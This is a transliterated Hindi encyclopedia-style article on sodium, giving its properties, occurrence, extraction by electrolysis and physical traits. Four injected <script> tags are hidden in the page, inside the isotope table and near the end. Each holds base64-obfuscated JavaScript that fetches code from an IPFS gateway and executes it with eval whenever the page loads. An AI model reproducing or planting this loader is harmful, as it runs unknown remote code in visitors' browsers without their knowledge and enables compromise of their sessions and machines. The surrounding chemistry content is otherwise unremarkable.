सोडियम

sodiyam
chamakili safed dhatu sodiyam ki varnakram rekhaean
sadharan gunadharm
nam, pratik, sankhya	sodiyam, Na, 11
tatv shreni	kshar dhatu
samooh, avart, kaksha	1, 3, s
manak paramanu bhar	22.98976928g·mol−1
ilektr aaun vinyas	1s2, 2s2, 2p6, 3s1
ilektr aaun prati shel	2,8,1
bhautik gunadharm
avastha	thos
ghanatv (nikat k.ta.)	0.968 g·cm−3
taral ghanatv (galanaank par)	0.927 g·cm−3
galanaank	370.87 K, 97.72 °C, 207.9 °F
kvathanaank	1156 K, 883 °C, 1621 °F
sankat biandu	2573 K, 35 MPa
sanlayan ooshma	2.60 kilo jool-mol
vashpan ooshma	97.42 kilo jool-mol
vishisht ooshmiy kshamata	28.230 jool-mol−1kilo−1
vashp dab
P (Pa) 1 10 100 1 k 10 k 100 k at T (K) 554 617 697 802 946 1153
paramanvik gunadharm
aauksikaran avastha	+1, 0, -1
ilektronegetiviti	0.93 (pailiang paimana)
ayanikaran oorjaean (adhik)	1st: 495.8 ki.jool•mol−1
	2nd: 4562 ki.jool•mol−1
	3rd: 6910.3 ki.jool•mol−1
paramanvik trijya	186 pm
sahasanyojak trijya	166±9 pm
vaindair vals trijya	227 pm
vividh gunadharm
kristal sanrachana	kendriy ghanakar
chumbakiy kram	parachumbakiy
vaidyut pratirodhakata	(20 °C) 47.7 nΩ·m
ooshmiy chalakata	(300 K) 142 W·m−1·K−1
ooshmiy prasar	(25 °C) 71 µm·m−1·K−1
dhvani chal (patali chh d mean)	(20 °C) 3200 m.s-1
yang mapaank	10 GPa
aparoopan mapaank	3.3 GPa
sthool mapaank	6.3 GPa
mohs kathorata mapaank	0.5
brainal kathorata	0.69 MPa
si.e.es panjikaran sankhya	7440-23-5
samasthanik
samasthanik pra. prachurata arddh ayu ksharan avastha ksharan oorja (MeV) ksharan utpad 22Na tres 2.602 y β+→γ 0.5454 22Ne 1.27453(2) 22Ne ε→γ - 22Ne 1.27453(2) 22Ne β+ 1.8200 22Ne 23Na 100% 23Na 12 nyootr aaun ke sath sthir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> (aangrezi:Sodium) sodiyam ka pratikanusar 'Na' tatha paramanu sankhya 11 hoti hai. sodiyam ka paramanu bhar 22.997 hota hai. sodiyam ka ilektr aaunik vinyas 1s², 2s² 2p⁶, 3s¹ hai.

prapti

atyant hi kriyashil tatv hone ke karan yah mukt avastha mean nahian paya jata hai. sanyukt avastha mean yah paryapt matra mean kloraid, naitret, karbonet, boret aur salphet ke roop mean paya jata hai.

nishkarshan

sodiyam dhatu ka nishkarshan kastanar vidhi dvara dravin sodiyam haidr aauksaid ke vaidyuth apaghatan se kiya jata hai. daun vidhi dvara bhi pighale hue sodiyam kloraid ke vaidyuth apaghatan se sodiyam dhatu b de paimane par prapt ki jati hai.

bhautik gun

• sodiyam chaandi ke saman safed dhatu hai.
• sodiyam mulayam hota hai evan ise chakoo se asani se kata ja sakata hai.
• sodiyam ka apekshit ghanatv 0.97 hota hai. pani se halka hone ke karan yah pani par tairane lagata hai.
• sodiyam vidyut ka suchalak hota hai.
• sodiyam dhatu beanjin tatha eethan mean viley hota hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>